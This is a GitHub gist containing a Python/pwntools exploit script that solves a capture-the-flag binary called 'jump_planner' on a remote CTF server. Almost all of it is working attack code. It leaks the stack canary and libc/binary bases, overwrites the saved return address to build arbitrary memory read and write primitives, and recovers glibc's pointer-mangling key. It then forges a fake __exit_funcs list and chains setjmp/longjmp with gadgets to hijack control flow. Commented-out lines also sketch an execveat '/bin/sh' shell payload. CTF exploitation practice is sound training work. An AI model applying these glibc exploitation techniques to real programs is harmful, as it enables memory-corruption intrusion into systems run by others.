Skip to content

Instantly share code, notes, and snippets.

@ChrisTheCoolHut
Created January 15, 2024 18:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ChrisTheCoolHut/2ceae2335794b8772e65b1ed555b83de to your computer and use it in GitHub Desktop.
Save ChrisTheCoolHut/2ceae2335794b8772e65b1ed555b83de to your computer and use it in GitHub Desktop.
Solution script to jump planner
'''
special backdoor syscall gives flag.
Something going on with call/ret too.
No ropping?
rax = 0x5add011
rdi = ptr -> "please_give_me_flag"
rsi = 0x6942069420
'''
from pwn import *
elf = ELF("./jump_planner")
context.binary = elf
libc = ELF("./libc.so.6")
# give_flag offset - doesn't work jumping into plugin lib
# give_flag_symbol_offset = 0x00001581
gdb_cmds = ["b manual_jump","b manual_jump+295","c"]
#nc jump.chrononaut.xyz 5000
r = ["jump.chrononaut.xyz",5000]
def conf():
if args.REMOTE:
p = remote(r[0],r[1])
elif args.QEMU:
p = remote("127.0.0.1",5000)
# gdb.attach(p,gdbscript='\n'.join(gdb_cmds))
else:
p = process([elf.path])
if args.GDB:
gdb.attach(p,gdbscript='\n'.join(gdb_cmds))
return p
p = conf()
p.recvuntil(b">> ")
def add_speed_dial(index,year):
p.sendline(b"1")
p.recvuntil(b"Index: ")
p.sendline(index)
p.recvuntil(b"Year: ")
p.sendline(year)
p.recvuntil(b">> ")
def remove_speed_dial(index):
p.sendline(b"2")
p.recvuntil(b"Index: ")
p.sendline(index)
p.recvuntil(b">> ")
def quick_jump(index):
p.sendline(b"3")
p.recvuntil(b"Index: ")
p.sendline(index)
text = p.recvuntil(b"location\n")
print(p.recvuntil(b">> "))
return text
def man_jump(year,num_chars,location):
p.sendline(b"4")
p.recvuntil(b"Year: ")
p.sendline(year)
p.recvuntil(b"(max 30):")
p.sendline(num_chars)
p.recvuntil(b"location:")
p.sendline(location)
return p.recvuntil(b">> ")
def list_years():
vals = []
p.sendline(b"5")
p.recvuntil(b"List:\n")
for _ in range(10):
line = p.recvuntil(b"\n")
if b"Not Assigned" in line:
vals.append(0)
continue
line = line.split(b"Year: ")[1]
year_n = line[:-1]
year_n = int(year_n)
vals.append(year_n)
p.recvuntil(b">> ")
return vals
def get_current_year():
p.sendline(b"5")
p.recvuntil(b"Current Year: ")
val = p.recvuntil(b"\n")[:-1]
import ctypes
# printed as %u, but stored as %d
val = ctypes.c_int32(int(val)).value
p.recvuntil(b">> ")
return val
def pc_overwrite(pc_val, cookie, rbp_val):
# |Cookie | RBP | PC |
curr_year = get_current_year()
return man_jump(str(curr_year).encode(), b"0", b"B"*40+p64(cookie) + p64(rbp_val) + p64(pc_val) + b"55")
# return man_jump(str(curr_year).encode(), b"0", b"B"*40+p64(cookie) + p64(rbp_val) + p64(pc_val))
# return man_jump(str(curr_year).encode(), b"0", b"B"*40+p64(cookie) + p64(rbp_val) + p64(pc_val) + b"C"*0x400)
def stack_leak():
curr_year = get_current_year()
leak_text = man_jump(str(curr_year).encode(),b"-2",b"55")
leak_text = leak_text.split(b"at ")[1]
leak_text = leak_text.split(b"\n")[0]
leak_val = u64(leak_text.ljust(8,b"\x00"))
print(hex(leak_val))
return leak_val
def get_index_n(n):
text = quick_jump(n)
# print(text)
text = text.split(b"Year ")[1]
text = text.split(b" at")[0]
val = int(text)
return val
leak_value = stack_leak()
stack_cookie = get_index_n(b"5")
libc_leak = get_index_n(b"7")
main_address = get_index_n(b"9")
print(f"cookie {hex(stack_cookie)}")
print(f"libc_leak {hex(libc_leak)}")
print(f"main_address {hex(main_address)}")
print(f"stack var leak {hex(leak_value)}")
elf.address = main_address - elf.sym["main"]
print("binary base address at {}".format(hex(elf.address)))
libc.address = libc_leak - 0x29d90 # offset for provided libc
print("libc base address at {}".format(hex(libc.address)))
def do_read_4(addr):
print(f"reading value at addr {hex(addr)}")
pc_overwrite(elf.sym["main"]+201, stack_cookie, addr-0x38+0x70-0x10)
return(list_years()[1])
def do_read_8(addr):
val1 = do_read_4(addr+4)
val2 = do_read_4(addr)
return (val1 << 32) + val2
# 8 byte write since we're using add_speed_dial instead of man_jump
def do_write_4(addr,value):
pc_overwrite(elf.sym["main"]+201, stack_cookie, addr-0x38+0x70-0x10)
add_speed_dial(b"1",str(value))
def do_write_8(addr,value):
print(f"Writing value {hex(value)} at addr {hex(addr)}")
do_write_4(addr+4,value >> 32)
do_write_4(addr,value & 0xFFFFFFFF)
# Overwrite __exit_funcs instead.
# ghidra:
# exit @ 0x1455f0 - 0x00100000 = 0x455f0
# exit_ptr 0x00319838 - 0x00100000 = 0x219838
# Found in Ghidra
__exit_funcs = libc.address + 0x219838
# Found in GDB _dl_fini addr
# libc base to _dl_fini -> 0x00007fd43f467040 - 0x7fd43f237000
dl_fini_offset = 0x230040
dl_fini_addr = libc.address + dl_fini_offset
print(f"__exit_funcs : {hex(__exit_funcs)}")
'''
Points to
struct exit_function_list
{
struct exit_function_list *next; 0
size_t idx; 8
struct exit_function fns[32]; -- 0x10
};
'''
print(f"dl_fini_offset : {hex(dl_fini_offset)}")
print(f"dl_fini_addr : {hex(dl_fini_addr)}")
# Encrypted pointer
# | flavor | fn | arg | dso |
# Get encrypted function
exit_function_list_addr = do_read_8(__exit_funcs)
print(f"exit_function_list_addr : {hex(exit_function_list_addr)}")
# I mess something up somewhere with my read. Try to restore
enc_dl_fini_addr = do_read_8(exit_function_list_addr+0x18)
enc_dl_fini_addr_arg = do_read_8(exit_function_list_addr+0x20)
# The shifts are copied from the above blogpost
# Rotate left: 0b1001 --> 0b0011
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
# encrypt a function pointer
def encrypt(v, key):
return rol(v ^ key, 0x11, 64)
key = ror(enc_dl_fini_addr, 0x11, 64) ^ dl_fini_addr
print(f"Recovered xor key {hex(key)}")
arg_addr = elf.bss()+0x200
# /bin/sh\x00
# populate arg_addr for execveat payload
# print(f"/bin/sh at {hex(arg_addr)}")
# do_write_8(arg_addr, 0x0068732f6e69622f)
print(f"setjmp addr : {hex(libc.sym['setjmp'])}")
enc_getcontext_addr = encrypt(libc.sym["setjmp"], key)
print(f"main addr : {hex(elf.sym['main'])}")
enc_main_addr = encrypt(elf.sym["main"], key)
# long_jmp_real_addr = libc.sym['longjmp']
long_jmp_real_addr = libc.address + 0x42290
print(f"longjmp addr : {hex(long_jmp_real_addr)}")
enc_setcontext_addr = encrypt(long_jmp_real_addr, key)
print(f"garb addr : {hex(0x4141414142424242)}")
enc_garb_addr = encrypt(0x4141414142424242, key)
# What about getcontext(elf.bss) -> write -> setcontext(elf.bss)
context_addr = elf.bss()+ 0x500
# context_addr = leak_value
'''
dang jmp_buf only has
# The jmp_buf is assumed to contain the following, in order:
# %rbx
# %rsp (post-return)
# %rbp
# %r12
# %r13
# %r14
# %r15
# <return address>
'''
# Create exit_function_list
do_write_8(elf.bss()+0x148, 0)
do_write_8(elf.bss()+0x140, context_addr) # No args needed.
do_write_8(elf.bss()+0x138, enc_getcontext_addr) # is this being run first?
do_write_8(elf.bss()+0x130, 4)
do_write_8(elf.bss()+0x128, 0)
do_write_8(elf.bss()+0x120, 0) # Write current context here.
do_write_8(elf.bss()+0x118, enc_main_addr)
do_write_8(elf.bss()+0x110, 4)
do_write_8(elf.bss()+0x108, 2)
do_write_8(elf.bss()+0x100, 0)
# Write to our fake structure
do_write_8(__exit_funcs, elf.bss()+0x100)
print(f"Context written to {hex(context_addr)}")
# call exit to trigger write and loop back into main.
p.sendline(b"6")
# rip_val = 0x4141414141414141
rip_val = libc.sym['syscall']
print(f"syscall addr : {hex(rip_val)}")
preserve_range = int(23+2)
vals = {}
#store
for x in range(preserve_range):
addr = context_addr+(x*8)
# val = do_read_8(addr)
vals[addr] = 0
'''
rax = 0x5add011
rdi = ptr -> "please_give_me_flag"
rsi = 0x6942069420
'''
'''
syscall() args needed:
rdi = 0x5add011
rsi = ptr -> "please_give_me_flag"
rdx = 0x6942069420
execveat()
0
"/bin/sh"
0
'''
# 2f62696e2f7368
# bin_sh_val = 0x68732f6e69622f
# do_write_8(arg_addr,bin_sh_val)
# "please_g ive_me_f lag\x00"
val1 = 0x675f657361656c70
val2 = 0x665f656d5f657669
val3 = 0x67616c
do_write_8(arg_addr+0x10,val3)
do_write_8(arg_addr+0x8,val2)
do_write_8(arg_addr,val1)
super_gadget = libc.address + 0x120bc5
super_gadget2 = libc.address + 0x15ce25
print(f"super gadget : {hex(super_gadget)}")
scratch = leak_value
# syscall
end_pc_value = libc.sym['syscall']
end_rdi_value = 0x5add011
end_rsi_value = arg_addr
end_rdx_value = 0x6942069420
# end_pc_value = libc.sym['execveat']
# end_rdi_value = 0
# end_rsi_value = arg_addr
# end_rdx_value = 0
# rsp+0x8
do_write_8(scratch + 0x18, end_pc_value) #end rax value
do_write_8(scratch + 0x10, 0) #end r13 value
do_write_8(scratch + 0x8, end_rdi_value) #end r12
do_write_8(scratch, end_rsi_value) #end rsi value
i = 0x41
for k in reversed(vals.keys()):
v = vals[k]
print(f"addr offset : 0x{(k - context_addr) / 8}")
if k == (context_addr + 7*8): #rip
do_write_8(k, encrypt(super_gadget, key))
continue
if k == (context_addr + 6*8): #rsp?
do_write_8(k, encrypt(scratch, key))
continue
if k == (context_addr + 3*8): #r13 -- End rdx value
do_write_8(k, end_rdx_value)
continue
if k == (context_addr + 2*8): #r12
do_write_8(k, super_gadget2)
continue
if k == (context_addr + 1*8): #rbp? -> rsi for gadj
do_write_8(k, encrypt(0x5add011, key))
continue
if k == (context_addr): #rbx?
do_write_8(k, scratch)
# do_write_8(k, encrypt(scratch, key))
continue
i+=1
# Now that a valid getcontext is there, let's modify it and setcontext
do_write_8(elf.bss()+0x138, 0) # DSO
do_write_8(elf.bss()+0x130, context_addr) # set context from here.
do_write_8(elf.bss()+0x138, enc_setcontext_addr)
do_write_8(elf.bss()+0x130, 4)
do_write_8(elf.bss()+0x128, 0) # DSO
do_write_8(elf.bss()+0x120, 0) # set context from here.
do_write_8(elf.bss()+0x118, enc_main_addr)
do_write_8(elf.bss()+0x110, 4)
do_write_8(elf.bss()+0x108, 2)
do_write_8(elf.bss()+0x100, 0)
do_write_8(__exit_funcs, elf.bss()+0x100)
# Trigger exit again
p.sendline(b"6")
# p.interactive()
print(p.clean())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment